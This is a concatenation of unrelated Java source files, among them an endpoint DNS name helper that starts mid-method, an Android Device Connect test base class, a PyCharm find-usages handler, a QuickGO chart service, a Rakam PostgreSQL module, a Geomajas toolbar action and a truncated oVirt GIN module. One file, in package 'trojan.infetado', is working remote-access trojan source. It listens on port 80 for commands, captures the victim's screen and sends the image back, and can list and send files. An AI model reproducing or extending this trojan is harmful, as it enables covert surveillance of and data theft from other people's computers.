endpointDnsNames.add(commonNameHashOf(applicationId, zoneRegistry.system()));
var globalDefaultEndpoint = Endpoint.of(applicationId).named(EndpointId.defaultId());
var rotationEndpoints = Endpoint.of(applicationId).wildcard();
var zoneLocalEndpoints = zones.stream().flatMap(zone -> Stream.of(
Endpoint.of(applicationId).target(ClusterSpec.Id.from("default"), zone),
Endpoint.of(applicationId).wildcard(zone)
));
Stream.concat(Stream.of(globalDefaultEndpoint, rotationEndpoints), zoneLocalEndpoints)
.map(endpoint -> endpoint.routingMethod(RoutingMethod.exclusive))
.map(endpoint -> endpoint.on(Endpoint.Port.tls()))
.map(endpointBuilder -> endpointBuilder.in(zoneRegistry.system()))
.map(Endpoint::dnsName).forEach(endpointDnsNames::add);
return Collections.unmodifiableList(endpointDnsNames);
}
/** Create a common name based on a hash of the ApplicationId. This should always be less than 64 characters long. */
private static String commonNameHashOf(ApplicationId application, SystemName system) {
var hashCode = Hashing.sha1().hashString(application.serializedForm(), Charset.defaultCharset());
var base32encoded = BaseEncoding.base32().omitPadding().lowerCase().encode(hashCode.asBytes());
return 'v' + base32encoded + Endpoint.dnsSuffix(system);
}
}
|
package org.deviceconnect.android.test;
import android.support.test.InstrumentationRegistry;
import android.test.AndroidTestCase;
import org.deviceconnect.android.profile.AuthorizationProfile;
import org.deviceconnect.android.profile.ServiceDiscoveryProfile;
import org.deviceconnect.message.DConnectMessage;
import org.deviceconnect.message.DConnectResponseMessage;
import org.deviceconnect.message.DConnectSDK;
import org.deviceconnect.profile.ServiceDiscoveryProfileConstants;
import org.deviceconnect.profile.ServiceInformationProfileConstants;
import org.deviceconnect.profile.SystemProfileConstants;
import org.junit.Before;
import java.util.ArrayList;
import java.util.List;
/**
* DeviceConnectTestCase.
* @author NTT DOCOMO, INC.
*/
public abstract class DConnectTestCase extends AndroidTestCase {
/**
* DeviceConnectManagerURI.
*/
protected static final String MANAGER_URI = "http://localhost:4035/gotapi";
private static final String DEVICE_NAME = "Test Success Device";
/**
* DeviceConnectManager.
*/
protected DConnectSDK mDConnectSDK;
/**
* .
* <p>
* OAuth.
* </p>
*/
private static final String[] PROFILES = {
ServiceDiscoveryProfileConstants.PROFILE_NAME,
ServiceInformationProfileConstants.PROFILE_NAME,
SystemProfileConstants.PROFILE_NAME,
"deviceOrientation",
"files",
"unique",
"jsonTest",
"dataTest",
"allGetControl",
"abc"
};
private List<ServiceInfo> mServiceInfoList;
private static String sAccessToken;
@Before
public void setUp() throws Exception {
setContext(InstrumentationRegistry.getContext());
mDConnectSDK.setOrigin(getOrigin());
waitForManager();
if (isLocalOAuth()) {
if (sAccessToken == null) {
sAccessToken = requestAccessToken(PROFILES);
assertNotNull(sAccessToken);
}
if (mDConnectSDK != null) {
mDConnectSDK.setAccessToken(sAccessToken);
}
waitForFoundTestService();
}
}
/**
* Manager .
*
* @throws InterruptedException
*/
private void waitForManager() throws InterruptedException {
mDConnectSDK.startManager(getContext());
long timeout = 30 * 1000;
final long interval = 1000;
while (!isManagerAvailable()) {
Thread.sleep(interval);
timeout -= interval;
if (timeout <= 0) {
fail("Manager launching timeout.");
}
}
}
/**
* .
* <p>
* 30
* </p>
* @throws InterruptedException
*/
private void waitForFoundTestService() throws InterruptedException {
long timeout = 30 * 1000;
final long interval = 1000;
while (true) {
mServiceInfoList = searchServices();
String serviceId = getServiceIdByName(DEVICE_NAME);
if (serviceId != null) {
return;
}
Thread.sleep(interval);
timeout -= interval;
if (timeout <= 0) {
fail("The test plugin is not installed.");
}
}
}
/**
* Device Connect Manager.
* <p>
* null
* </p>
* @param scopes
* @return
*/
private String requestAccessToken(final String[] scopes) {
DConnectResponseMessage response = mDConnectSDK.authorization("JUnitTest", scopes);
if (response.getResult() == DConnectMessage.RESULT_OK) {
return response.getString(AuthorizationProfile.PARAM_ACCESS_TOKEN);
} else {
return null;
}
}
/**
* RestfulAPI.
* @return
*/
private List<ServiceInfo> searchServices() {
List<ServiceInfo> services = new ArrayList<>();
DConnectResponseMessage response = mDConnectSDK.serviceDiscovery();
if (response.getResult() == DConnectMessage.RESULT_ERROR) {
return null;
}
List<Object> list = response.getList(ServiceDiscoveryProfile.PARAM_SERVICES);
for (Object value : list) {
DConnectMessage service = (DConnectMessage) value;
String serviceId = service.getString(ServiceDiscoveryProfileConstants.PARAM_ID);
String deviceName = service.getString(ServiceDiscoveryProfileConstants.PARAM_NAME);
services.add(new ServiceInfo(serviceId, deviceName));
}
return services;
}
/**
* Device Connect Manager.
* @return Device Connect Managertruefalse
*/
private boolean isManagerAvailable() {
DConnectResponseMessage response = mDConnectSDK.availability();
return response.getResult() == DConnectMessage.RESULT_OK;
}
/**
* Origin.
*
* @return Origin
*/
protected String getOrigin() {
return InstrumentationRegistry.getContext().getPackageName();
}
/**
* .
*
* @return
*/
protected String getAccessToken() {
return sAccessToken;
}
/**
* .
* @param scopes
* @return
*/
protected String combineStr(final String[] scopes) {
StringBuilder builder = new StringBuilder();
for (int i = 0; i < scopes.length; i++) {
if (i > 0) {
builder.append(",");
}
builder.append(scopes[i].trim());
}
return builder.toString();
}
/**
* LocalOAuth.
* @return LocalOAuthtruefalse
*/
protected boolean isLocalOAuth() {
return true;
}
/**
* ID.
* <p>
* fail
* </p>
* @return ID
*/
protected String getServiceId() {
if (mServiceInfoList == null) {
mServiceInfoList = searchServices();
if (mServiceInfoList == null) {
fail("Not found the test plugin.");
}
}
String serviceId = getServiceIdByName(DEVICE_NAME);
if (serviceId == null) {
fail("Not found the test plugin.");
}
return serviceId;
}
/**
* ID.
* <p>
* null
* </p>
* @param deviceName
* @return ID
*/
private String getServiceIdByName(final String deviceName) {
if (mServiceInfoList == null) {
return null;
}
for (int i = 0; i < mServiceInfoList.size(); i++) {
ServiceInfo obj = mServiceInfoList.get(i);
if (deviceName.equals(obj.getDeviceName())) {
return obj.getServiceId();
}
}
return null;
}
private static class ServiceInfo {
private final String mServiceId;
private final String mDeviceName;
/**
* .
* @param serviceId ID
* @param deviceName
*/
ServiceInfo(final String serviceId, final String deviceName) {
mServiceId = serviceId;
mDeviceName = deviceName;
}
/**
* ID.
*
* @return ID
*/
private String getServiceId() {
return mServiceId;
}
/**
* .
*
* @return
*/
private String getDeviceName() {
return mDeviceName;
}
}
}
|
package com.jetbrains.python.findUsages;
import com.intellij.find.findUsages.AbstractFindUsagesDialog;
import com.intellij.find.findUsages.CommonFindUsagesDialog;
import com.intellij.find.findUsages.FindUsagesHandler;
import com.intellij.psi.PsiDirectory;
import com.intellij.psi.PsiElement;
import com.intellij.ui.SimpleColoredComponent;
import com.intellij.ui.SimpleTextAttributes;
import com.jetbrains.python.psi.PyFile;
import org.jetbrains.annotations.NotNull;
/**
* @author yole
*/
public class PyModuleFindUsagesHandler extends FindUsagesHandler {
private final PyFile myFile;
protected PyModuleFindUsagesHandler(@NotNull PyFile psiElement) {
super(psiElement);
myFile = psiElement;
}
@NotNull
@Override
public PsiElement[] getPrimaryElements() {
final PsiDirectory dir = myFile.getContainingDirectory();
if (dir == null) {
return super.getPrimaryElements();
}
return new PsiElement[] { dir };
}
@NotNull
@Override
public AbstractFindUsagesDialog getFindUsagesDialog(boolean isSingleFile, boolean toShowInNewTab, boolean mustOpenInNewTab) {
return new CommonFindUsagesDialog(myFile.getContainingDirectory(),
getProject(),
getFindUsagesOptions(),
toShowInNewTab,
mustOpenInNewTab,
isSingleFile,
this) {
@Override
public void configureLabelComponent(final SimpleColoredComponent coloredComponent) {
final PsiDirectory dir = myFile.getContainingDirectory();
if (dir == null) {
super.configureLabelComponent(coloredComponent);
}
else {
coloredComponent.append("Module ");
coloredComponent.append(dir.getName(), SimpleTextAttributes.REGULAR_BOLD_ATTRIBUTES);
}
}
};
}
}
|
package uk.ac.ebi.quickgo.web.util;
import java.awt.image.RenderedImage;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.EnumSet;
import java.util.List;
import org.springframework.stereotype.Service;
import uk.ac.ebi.quickgo.graphics.GraphImage;
import uk.ac.ebi.quickgo.graphics.GraphPresentation;
import uk.ac.ebi.quickgo.graphics.OntologyGraph;
import uk.ac.ebi.quickgo.ontology.eco.ECOTerm;
import uk.ac.ebi.quickgo.ontology.generic.GenericOntology;
import uk.ac.ebi.quickgo.ontology.generic.GenericTerm;
import uk.ac.ebi.quickgo.ontology.generic.GenericTermSet;
import uk.ac.ebi.quickgo.ontology.generic.RelationType;
import uk.ac.ebi.quickgo.service.annotation.parameter.AnnotationParameters;
import uk.ac.ebi.quickgo.web.util.term.TermUtil;
/**
* Service to generate charts
* @author cbonill
* //TODO Refactor OntologyGraphController to use this class
*/
@Service
public class ChartService {
GenericOntology genericOntology;
GraphImage graphImage;
RenderedImage renderableImage;
String termsToDisplay;
private static final EnumSet ECO_SET = EnumSet.of(RelationType.USEDIN, RelationType.ISA, RelationType.PARTOF,
RelationType.REGULATES, RelationType.OCCURSIN); /*RelationType.HASPART,*/
private static final EnumSet GO_SET = EnumSet.of(RelationType.ISA, RelationType.PARTOF,
RelationType.REGULATES, RelationType.POSITIVEREGULATES, RelationType.NEGATIVEREGULATES,
RelationType.OCCURSIN, RelationType.CAPABLEOF, RelationType.CAPABLEOFPARTOF); /*RelationType.HASPART,*/
public void createChart(String ids, String scope) {
genericOntology = null;
graphImage = null;
renderableImage = null;
termsToDisplay = "";
boolean isGO = true;
if (scope != null && scope.trim().length() > 0) {
if(scope.equalsIgnoreCase(ECOTerm.ECO)){
isGO = false;
}
}
List<String> termsIdsList = new ArrayList<>();
termsIdsList = Arrays.asList(ids.split(","));
List<String> formattedTermsIdsList = new ArrayList<>();
for(String id : termsIdsList){
if ((isGO && id.matches(AnnotationParameters.GO_ID_REG_EXP
+ "\\d{7}"))
|| (!isGO && id.matches(AnnotationParameters.ECO_ID_REG_EXP
+ "\\d{7}"))) {// Valid GO id
formattedTermsIdsList.add(id);
}
}
termsIdsList = formattedTermsIdsList;
if(termsIdsList.size() > 0){
// Get corresponding ontology
genericOntology = TermUtil.getOntology(termsIdsList.get(0));
// Create graph image
graphImage = createRenderableImage(ids);
renderableImage = graphImage.render();
if(termsIdsList.size() == 1){//Just one term, set id as the graph title
termsToDisplay = "Ancestor chart for " + termsIdsList.get(0);
} else {
termsToDisplay = "Comparison chart for " + String.valueOf(termsIdsList.size());
}
}
}
/**
* Generates ancestors graph for a list of terms
* @param termsIds List of terms to calculate the graph for
* @return Graph image
*/
private GraphImage createRenderableImage(String termsIds){
// Check if the selected terms exist
List<GenericTerm> terms = new ArrayList<GenericTerm>();
List<String> termsIdsList = Arrays.asList(termsIds.split(","));
for(String id : termsIdsList){
GenericTerm term = genericOntology.getTerm(id);
if(term != null){
terms.add(term);
}
}
// Build GO term set
GenericTermSet termSet = new GenericTermSet(genericOntology, "Term Set", 0);
for(GenericTerm term : terms){
termSet.addTerm(term);
}
// Create ontology graph
OntologyGraph ontologyGraph = OntologyGraph.makeGraph(termSet, GO_SET, 0, 0, new GraphPresentation());
return ontologyGraph.layout();
}
public GenericOntology getGenericOntology() {
return genericOntology;
}
public void setGenericOntology(GenericOntology genericOntology) {
this.genericOntology = genericOntology;
}
public GraphImage getGraphImage() {
return graphImage;
}
public void setGraphImage(GraphImage graphImage) {
this.graphImage = graphImage;
}
public RenderedImage getRenderableImage() {
return renderableImage;
}
public void setRenderableImage(RenderedImage renderableImage) {
this.renderableImage = renderableImage;
}
public String getTermsToDisplay() {
return termsToDisplay;
}
public void setTermsToDisplay(String termsToDisplay) {
this.termsToDisplay = termsToDisplay;
}
}
|
package trojan.infetado;
import java.awt.AWTException;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import javax.imageio.ImageIO;
import network.*;
public class Main {
PrintWriter outt;
BufferedReader inn;
InputStream in = null;
OutputStream out = null;
Socket socket = null;
public static void main(String[] args) throws AWTException, IOException {
final String pic = "takepic";
final String off = "off";
final String file = "filelist";
DataInputStream din;
String com;
ServerSocket servsock = new ServerSocket(80);
Socket sock = servsock.accept();
din = new DataInputStream(sock.getInputStream());
String msg = "on";
do {
msg = din.readUTF();
if (msg.equals(pic)) {
Robot rob = new Robot();
BufferedImage image = rob.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize()));
ImageIO.write(image, "jpg", new File("screenshot.jpg"));
File screen = new File("screenshot.jpg");
byte[] mybytearray = new byte[(int) screen.length()];
BufferedInputStream bis = new BufferedInputStream(new FileInputStream(screen));
bis.read(mybytearray, 0, mybytearray.length);
OutputStream os = sock.getOutputStream();
os.write(mybytearray, 0, mybytearray.length);
os.flush();
bis.close();
} else if (msg.equals(file)) {
SendArray sa = new SendArray();
SendFile sf = new SendFile();
}
} while (!msg.equals(off));
}
}
|
package org.raidenjpa.query.executor;
import java.util.Stack;
import org.raidenjpa.query.parser.WhereElement;
import org.raidenjpa.query.parser.WhereExpression;
import org.raidenjpa.query.parser.WhereLogicOperator;
public class StackQuery {
private Stack<WhereElement> stack = new Stack<WhereElement>();
public StackQueryOperation push(WhereElement element) {
stack.push(element);
if (element.isLogicOperator()) {
return pushLogicOperator((WhereLogicOperator) element);
} else if (element.isExpression()) {
return pushExpression((WhereExpression) element);
} else {
throw new RuntimeException("Element must be a logicOperator or a expression");
}
}
private StackQueryOperation pushExpression(WhereExpression element) {
if (isThereOperatorBefore()) {
return StackQueryOperation.REDUCE;
} else {
return StackQueryOperation.RESOLVE;
}
}
private boolean isThereOperatorBefore() {
WhereElement previousElement = getPreviousElement();
if (previousElement == null) {
return false;
} else {
return previousElement.isLogicOperator();
}
}
private WhereElement getPreviousElement() {
if (stack.size() == 1) {
return null;
}
return stack.get(stack.size() - 2);
}
private StackQueryOperation pushLogicOperator(WhereLogicOperator element) {
if (stack.size() == 1) {
throw new RuntimeException("First element must be a expression");
}
return StackQueryOperation.NOTHING;
}
}
|
package org.rakam.postgresql;
import com.facebook.presto.sql.tree.QualifiedName;
import com.google.auto.service.AutoService;
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.ImmutableSet;
import com.google.common.eventbus.Subscribe;
import com.google.inject.Binder;
import com.google.inject.Module;
import com.google.inject.Provider;
import com.google.inject.Scopes;
import com.google.inject.name.Names;
import io.airlift.configuration.AbstractConfigurationAwareModule;
import org.postgresql.Driver;
import org.rakam.analysis.*;
import org.rakam.analysis.metadata.JDBCQueryMetadata;
import org.rakam.analysis.metadata.Metastore;
import org.rakam.analysis.metadata.QueryMetadataStore;
import org.rakam.collection.FieldType;
import org.rakam.collection.SchemaField;
import org.rakam.config.JDBCConfig;
import org.rakam.config.MetadataConfig;
import org.rakam.config.ProjectConfig;
import org.rakam.plugin.EventStore;
import org.rakam.plugin.RakamModule;
import org.rakam.plugin.SystemEvents;
import org.rakam.plugin.user.AbstractUserService;
import org.rakam.plugin.user.UserPluginConfig;
import org.rakam.postgresql.analysis.*;
import org.rakam.postgresql.plugin.user.AbstractPostgresqlUserStorage;
import org.rakam.postgresql.plugin.user.PostgresqlUserService;
import org.rakam.postgresql.plugin.user.PostgresqlUserStorage;
import org.rakam.postgresql.report.PostgresqlEventExplorer;
import org.rakam.postgresql.report.PostgresqlQueryExecutor;
import org.rakam.report.QueryExecutor;
import org.rakam.report.QueryResult;
import org.rakam.report.eventexplorer.EventExplorerConfig;
import org.rakam.util.ConditionalModule;
import javax.inject.Inject;
import javax.inject.Named;
import java.net.URISyntaxException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Optional;
import java.util.Set;
import java.util.concurrent.CompletableFuture;
import static java.lang.String.format;
import static org.rakam.postgresql.plugin.user.PostgresqlUserService.ANONYMOUS_ID_MAPPING;
import static org.rakam.util.ValidationUtil.checkCollection;
import static org.rakam.util.ValidationUtil.checkTableColumn;
@AutoService(RakamModule.class)
@ConditionalModule(config = "store.adapter", value = "postgresql")
public class PostgresqlModule
extends RakamModule {
public synchronized static Module getAsyncClientModule(JDBCConfig config) {
JDBCConfig asyncClientConfig;
try {
final String url = config.getUrl();
asyncClientConfig = new JDBCConfig()
.setPassword(config.getPassword())
.setTable(config.getTable())
.setMaxConnection(4)
.setConnectionMaxLifeTime(0L)
.setConnectionIdleTimeout(0L)
.setConnectionDisablePool(config.getConnectionDisablePool())
.setUrl("jdbc:pgsql" + url.substring("jdbc:postgresql".length()))
.setUsername(config.getUsername());
} catch (URISyntaxException e) {
throw new RuntimeException(e);
}
return new AbstractConfigurationAwareModule() {
@Override
protected void setup(Binder binder) {
binder.bind(JDBCPoolDataSource.class)
.annotatedWith(Names.named("async-postgresql"))
.toProvider(new JDBCPoolDataSourceProvider(asyncClientConfig))
.in(Scopes.SINGLETON);
}
};
}
@Override
protected void setup(Binder binder) {
try {
Driver.register();
} catch (SQLException e) {
throw new RuntimeException(e);
}
JDBCConfig config = buildConfigObject(JDBCConfig.class, "store.adapter.postgresql");
PostgresqlConfig postgresqlConfig = buildConfigObject(PostgresqlConfig.class);
MetadataConfig metadataConfig = buildConfigObject(MetadataConfig.class);
JDBCPoolDataSource orCreateDataSource = JDBCPoolDataSource.getOrCreateDataSource(config, "set time zone 'UTC'");
binder.bind(JDBCPoolDataSource.class)
.annotatedWith(Names.named("store.adapter.postgresql"))
.toInstance(orCreateDataSource);
binder.bind(char.class).annotatedWith(EscapeIdentifier.class).toInstance('"');
binder.bind(Metastore.class).to(PostgresqlMetastore.class).asEagerSingleton();
binder.bind(ApiKeyService.class).toInstance(new PostgresqlApiKeyService(orCreateDataSource));
binder.bind(PostgresqlVersion.class).asEagerSingleton();
binder.bind(MaterializedViewService.class).to(PostgresqlMaterializedViewService.class).in(Scopes.SINGLETON);
binder.bind(QueryExecutor.class).to(PostgresqlQueryExecutor.class).in(Scopes.SINGLETON);
binder.bind(PostgresqlQueryExecutor.class).in(Scopes.SINGLETON);
binder.bind(String.class).annotatedWith(TimestampToEpochFunction.class).toInstance("to_unixtime");
boolean isUserModulePostgresql = "postgresql".equals(getConfig("plugin.user.storage"));
if (isUserModulePostgresql) {
binder.bind(AbstractUserService.class).to(PostgresqlUserService.class)
.in(Scopes.SINGLETON);
binder.bind(AbstractPostgresqlUserStorage.class).to(PostgresqlUserStorage.class)
.in(Scopes.SINGLETON);
} else {
binder.bind(boolean.class).annotatedWith(Names.named("user.storage.postgresql"))
.toInstance(false);
}
if (metadataConfig.getEventStore() == null) {
binder.bind(EventStore.class).to(PostgresqlEventStore.class).in(Scopes.SINGLETON);
}
// use same jdbc pool if report.metadata.store is not set explicitly.
if (getConfig("report.metadata.store") == null) {
binder.bind(JDBCPoolDataSource.class)
.annotatedWith(Names.named("report.metadata.store.jdbc"))
.toInstance(orCreateDataSource);
binder.bind(ConfigManager.class).to(PostgresqlConfigManager.class);
binder.bind(QueryMetadataStore.class).to(JDBCQueryMetadata.class)
.in(Scopes.SINGLETON);
}
if (buildConfigObject(EventExplorerConfig.class).isEventExplorerEnabled()) {
binder.bind(EventExplorer.class).to(PostgresqlEventExplorer.class);
}
if (postgresqlConfig.isAutoIndexColumns()) {
binder.bind(CollectionFieldIndexerListener.class).asEagerSingleton();
}
UserPluginConfig userPluginConfig = buildConfigObject(UserPluginConfig.class);
if (userPluginConfig.isFunnelAnalysisEnabled()) {
binder.bind(FunnelQueryExecutor.class).to(PostgresqlFunnelQueryExecutor.class);
}
if (userPluginConfig.isRetentionAnalysisEnabled()) {
binder.bind(RetentionQueryExecutor.class).to(PostgresqlRetentionQueryExecutor.class);
}
if (userPluginConfig.getEnableUserMapping()) {
binder.bind(UserMergeTableHook.class).asEagerSingleton();
}
}
@Override
public String name() {
return "Postgresql Module";
}
@Override
public String description() {
return "Postgresql deployment type module";
}
private static class JDBCPoolDataSourceProvider
implements Provider<JDBCPoolDataSource> {
private final JDBCConfig asyncClientConfig;
public JDBCPoolDataSourceProvider(JDBCConfig asyncClientConfig) {
this.asyncClientConfig = asyncClientConfig;
}
@Override
public JDBCPoolDataSource get() {
return JDBCPoolDataSource.getOrCreateDataSource(asyncClientConfig);
}
}
public static class PostgresqlVersion {
private Version version;
@Inject
public PostgresqlVersion(@Named("store.adapter.postgresql") JDBCPoolDataSource dataSource) {
try (Connection conn = dataSource.getConnection()) {
Statement statement = conn.createStatement();
ResultSet resultsSet = statement.executeQuery("SHOW server_version");
resultsSet.next();
String version = resultsSet.getString(1);
String[] split = version.split("\\.", 2);
if (Integer.parseInt(split[0]) > 9) {
this.version = Version.PG10;
} else if (Integer.parseInt(split[0]) == 9 && Double.parseDouble(split[1]) >= 5) {
this.version = Version.PG_MIN_9_5;
} else {
this.version = Version.OLD;
}
} catch (Exception e) {
this.version = Version.OLD;
}
}
public Version getVersion() {
return version;
}
public enum Version {
OLD, PG_MIN_9_5, PG10
}
}
private static class CollectionFieldIndexerListener {
private final PostgresqlQueryExecutor executor;
private final ProjectConfig projectConfig;
boolean postgresql9_5;
private Set<FieldType> brinSupportedTypes = ImmutableSet.of(FieldType.DATE, FieldType.DECIMAL,
FieldType.DOUBLE, FieldType.INTEGER, FieldType.LONG,
FieldType.STRING, FieldType.TIMESTAMP, FieldType.TIME);
@Inject
public CollectionFieldIndexerListener(ProjectConfig projectConfig, PostgresqlQueryExecutor executor, PostgresqlVersion version) {
this.executor = executor;
this.projectConfig = projectConfig;
// Postgresql BRIN support came in 9.5 version
postgresql9_5 = version.getVersion() != PostgresqlVersion.Version.OLD;
}
@Subscribe
public void onCreateCollection(SystemEvents.CollectionCreatedEvent event) {
onCreateCollectionFields(event.project, event.collection, event.fields);
}
@Subscribe
public void onCreateCollectionFields(SystemEvents.CollectionFieldCreatedEvent event) {
onCreateCollectionFields(event.project, event.collection, event.fields);
}
public void onCreateCollectionFields(String project, String collection, List<SchemaField> fields) {
for (SchemaField field : fields) {
try {
// We cant't use CONCURRENTLY because it causes dead-lock with ALTER TABLE and it's slow.
projectConfig.getTimeColumn();
executor.executeRawStatement(String.format("CREATE INDEX %s %s ON %s.%s USING %s(%s)",
postgresql9_5 ? "IF NOT EXISTS" : "",
checkCollection(String.format("%s_%s_%s_auto_index", project, collection, field.getName())),
project, checkCollection(collection),
(postgresql9_5 && field.getName().equals(projectConfig.getTimeColumn())) ? "BRIN" : "BTREE",
checkTableColumn(field.getName())));
} catch (Exception e) {
if (postgresql9_5) {
throw e;
}
}
}
}
}
public static class UserMergeTableHook {
private final PostgresqlQueryExecutor executor;
private final ProjectConfig projectConfig;
@Inject
public UserMergeTableHook(ProjectConfig projectConfig, PostgresqlQueryExecutor executor) {
this.projectConfig = projectConfig;
this.executor = executor;
}
@Subscribe
public void onCreateProject(SystemEvents.ProjectCreatedEvent event) {
createTable(event.project);
}
public CompletableFuture<QueryResult> createTable(String project) {
return executor.executeRawStatement(format("CREATE TABLE %s(id VARCHAR, %s VARCHAR, " +
"created_at TIMESTAMP, merged_at TIMESTAMP)",
executor.formatTableReference(project, QualifiedName.of(ANONYMOUS_ID_MAPPING), Optional.empty(), ImmutableMap.of()),
checkCollection(projectConfig.getUserColumn()))).getResult();
}
}
}
|
package org.geomajas.gwt.client.action.toolbar;
import org.geomajas.gwt.client.action.ToolbarAction;
import org.geomajas.gwt.client.controller.ZoomToRectangleController;
import org.geomajas.gwt.client.i18n.I18nProvider;
import org.geomajas.gwt.client.spatial.Bbox;
import org.geomajas.gwt.client.util.WidgetLayout;
import org.geomajas.gwt.client.widget.MapWidget;
import com.smartgwt.client.widgets.events.ClickEvent;
/**
* Allow zooming to the selected rectangle.
*
* @author Emiel Ackermann
*/
public class ZoomToRectangleAction extends ToolbarAction {
private MapWidget map;
public ZoomToRectangleAction(MapWidget mapWidget) {
super(WidgetLayout.iconZoomSelection, I18nProvider.getToolbar().zoomToRectangleTitle(),
I18nProvider.getToolbar().zoomToRectangleTooltip());
this.map = mapWidget;
}
public void onClick(ClickEvent event) {
map.setController(new ZoomToRectangleOnceController(map));
}
/**
* Controller the zooms to a rectangle drawn by the user, and then deactivates itself again.
*
* @author Pieter De Graef
*/
private class ZoomToRectangleOnceController extends ZoomToRectangleController {
public ZoomToRectangleOnceController(MapWidget mapWidget) {
super(mapWidget);
}
protected void selectRectangle(Bbox worldBounds) {
super.selectRectangle(worldBounds);
mapWidget.setController(null);
}
}
}
|
package org.ovirt.engine.ui.webadmin.gin.uicommon;
import org.ovirt.engine.core.common.businessentities.VDS;
import org.ovirt.engine.core.common.businessentities.VDSGroup;
import org.ovirt.engine.core.common.businessentities.VM;
import org.ovirt.engine.core.common.businessentities.VmTemplate;
import org.ovirt.engine.core.common.businessentities.permissions;
import org.ovirt.engine.core.common.businessentities.network.NetworkCluster;
import org.ovirt.engine.core.common.businessentities.network.NetworkView;
import org.ovirt.engine.core.common.businessentities.network.VdsNetworkInterface;
import org.ovirt.engine.core.common.businessentities.network.VmNetworkInterface;
import org.ovirt.engine.core.common.businessentities.network.VnicProfileView;
import org.ovirt.engine.core.common.utils.PairQueryable;
import org.ovirt.engine.ui.common.presenter.AbstractModelBoundPopupPresenterWidget;
import org.ovirt.engine.ui.common.presenter.popup.DefaultConfirmationPopupPresenterWidget;
import org.ovirt.engine.ui.common.presenter.popup.RemoveConfirmationPopupPresenterWidget;
import org.ovirt.engine.ui.common.presenter.popup.RolePermissionsRemoveConfirmationPopupPresenterWidget;
import org.ovirt.engine.ui.common.uicommon.model.DetailModelProvider;
import org.ovirt.engine.ui.common.uicommon.model.DetailTabModelProvider;
import org.ovirt.engine.ui.common.uicommon.model.MainModelProvider;
import org.ovirt.engine.ui.common.uicommon.model.MainTabModelProvider;
import org.ovirt.engine.ui.common.uicommon.model.SearchableDetailModelProvider;
import org.ovirt.engine.ui.common.uicommon.model.SearchableDetailTabModelProvider;
import org.ovirt.engine.ui.uicommonweb.UICommand;
import org.ovirt.engine.ui.uicommonweb.models.ConfirmationModel;
import org.ovirt.engine.ui.uicommonweb.models.Model;
import org.ovirt.engine.ui.uicommonweb.models.configure.PermissionListModel;
import org.ovirt.engine.ui.uicommonweb.models.hosts.HostBondInterfaceModel;
import org.ovirt.engine.ui.uicommonweb.models.hosts.HostInterfaceModel;
import org.ovirt.engine.ui.uicommonweb.models.hosts.HostManagementNetworkModel;
import org.ovirt.engine.ui.uicommonweb.models.networks.NetworkClusterListModel;
import org.ovirt.engine.ui.uicommonweb.models.networks.NetworkGeneralModel;
import org.ovirt.engine.ui.uicommonweb.models.networks.NetworkHostListModel;
import org.ovirt.engine.ui.uicommonweb.models.networks.NetworkListModel;
import org.ovirt.engine.ui.uicommonweb.models.networks.NetworkProfileListModel;
import org.ovirt.engine.ui.uicommonweb.models.networks.NetworkTemplateListModel;
import org.ovirt.engine.ui.uicommonweb.models.networks.NetworkVmListModel;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.PermissionsPopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.cluster.ClusterManageNetworkPopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.datacenter.EditNetworkPopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.datacenter.NewNetworkPopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.host.HostSetupNetworksPopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.host.SetupNetworksBondPopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.host.SetupNetworksInterfacePopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.host.SetupNetworksManagementPopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.profile.VnicProfilePopupPresenterWidget;
import org.ovirt.engine.ui.webadmin.section.main.presenter.popup.provider.ImportNetworksPopupPresenterWidget;
import com.google.gwt.event.shared.EventBus;
import com.google.gwt.inject.client.AbstractGinModule;
import com.google.inject.Provider;
import com.google.inject.Provides;
import com.google.inject.Singleton;
public class NetworkModule extends AbstractGinModule {
// Main List Model
@Provides
@Singleton
public MainModelProvider<NetworkView, NetworkListModel> getNetworkListProvider(EventBus eventBus,
Provider<DefaultConfirmationPopupPresenterWidget> defaultConfirmPopupProvider,
final Provider<NewNetworkPopupPresenterWidget> newNetworkPopupProvider,
final Provider<ImportNetworksPopupPresenterWidget> importNetworkPopupProvider,
final Provider<EditNetworkPopupPresenterWidget> editNetworkPopupProvider,
final Provider<RemoveConfirmationPopupPresenterWidget> removeConfirmPopupProvider) {
return new MainTabModelProvider<NetworkView, NetworkListModel>(eventBus, defaultConfirmPopupProvider, NetworkListModel.class) {
@Override
public AbstractModelBoundPopupPresenterWidget<? extends Model, ?> getModelPopup(NetworkListModel source,
UICommand lastExecutedCommand, Model windowModel) {
if (lastExecutedCommand == getModel().getNewCommand()) {
return newNetworkPopupProvider.get();
} else if (lastExecutedCommand == getModel().getImportCommand()) {
return importNetworkPopupProvider.get();
} else if (lastExecutedCommand == getModel().getEditCommand()) {
return editNetworkPopupProvider.get();
} else {
return super.getModelPopup(source, lastExecutedCommand, windowModel);
}
}
@Override
public AbstractModelBoundPopupPresenterWidget<? extends ConfirmationModel, ?> getConfirmModelPopup(NetworkListModel source,
UICommand lastExecutedCommand) {
if (lastExecutedCommand == getModel().getRemoveCommand()) {
return removeConfirmPopupProvider.get();
} else {
return super.getConfirmModelPopup(source, lastExecutedCommand);
}
}
};
}
// Form Detail Models
@Provides
@Singleton
public DetailModelProvider<NetworkListModel, NetworkGeneralModel> getNetworkGeneralProvider(EventBus eventBus,
